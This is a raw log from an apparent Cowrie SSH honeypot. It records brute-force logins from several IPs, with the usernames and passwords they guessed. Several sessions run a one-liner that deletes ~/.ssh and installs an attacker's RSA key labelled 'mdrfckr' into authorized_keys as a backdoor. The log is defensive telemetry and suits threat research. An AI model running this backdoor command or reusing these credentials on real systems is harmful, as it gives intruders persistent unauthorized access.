{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:44:52.163801Z","src_ip":"2.57.122.210","session":"5a0bba37faaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:44:52.486471Z","src_ip":"2.57.122.210","session":"5a0bba37faaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:44:53.608095Z","src_ip":"2.57.122.210","session":"5a0bba37faaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.87.83.229","src_port":49752,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e05cc6b7e61","protocol":"ssh","message":"New connection: 80.87.83.229:49752 (159.203.135.109:22) [session: 3e05cc6b7e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:28.938668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:28.943450Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:29.171772Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"revolution","message":"login attempt [root/revolution] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:30.112811Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:30.606313Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:30.609926Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:30.614310Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:30.845596Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.335269Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.338825Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.571827Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.575660Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.87.83.229","src_port":50366,"dst_ip":"159.203.135.109","dst_port":22,"session":"afede3679d6f","protocol":"ssh","message":"New connection: 80.87.83.229:50366 (159.203.135.109:22) [session: afede3679d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.774582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.779329Z","src_ip":"80.87.83.229","session":"afede3679d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:31.986520Z","src_ip":"80.87.83.229","session":"afede3679d6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:32.845485Z","src_ip":"80.87.83.229","session":"afede3679d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:34.055425Z","src_ip":"80.87.83.229","session":"afede3679d6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.87.83.229","src_port":50840,"dst_ip":"159.203.135.109","dst_port":22,"session":"793073086216","protocol":"ssh","message":"New connection: 80.87.83.229:50840 (159.203.135.109:22) [session: 793073086216]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:34.265136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:34.269440Z","src_ip":"80.87.83.229","session":"793073086216","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:34.485883Z","src_ip":"80.87.83.229","session":"793073086216","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:35.373726Z","src_ip":"80.87.83.229","session":"793073086216","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:35.590549Z","src_ip":"80.87.83.229","session":"3e05cc6b7e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:35.595034Z","src_ip":"80.87.83.229","session":"793073086216","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.46.120.16","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffa0cbc6b4e7","protocol":"ssh","message":"New connection: 209.46.120.16:43786 (159.203.135.109:22) [session: ffa0cbc6b4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:38.819918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:38.824307Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:38.861580Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Mw123456","message":"login attempt [root/Mw123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.056194Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.171244Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.174686Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.178539Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.222844Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.336405Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.339723Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.383892Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.387667Z","src_ip":"209.46.120.16","session":"ffa0cbc6b4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.46.120.16","src_port":59968,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e3f8c80a224","protocol":"ssh","message":"New connection: 209.46.120.16:59968 (159.203.135.109:22) [session: 0e3f8c80a224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.421387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.426379Z","src_ip":"209.46.120.16","session":"0e3f8c80a224","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.464820Z","src_ip":"209.46.120.16","session":"0e3f8c80a224","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:45:39.655293Z","src_ip":"209.46.120.16","session":"0e3f8c80a224","protocol":"ssh"}
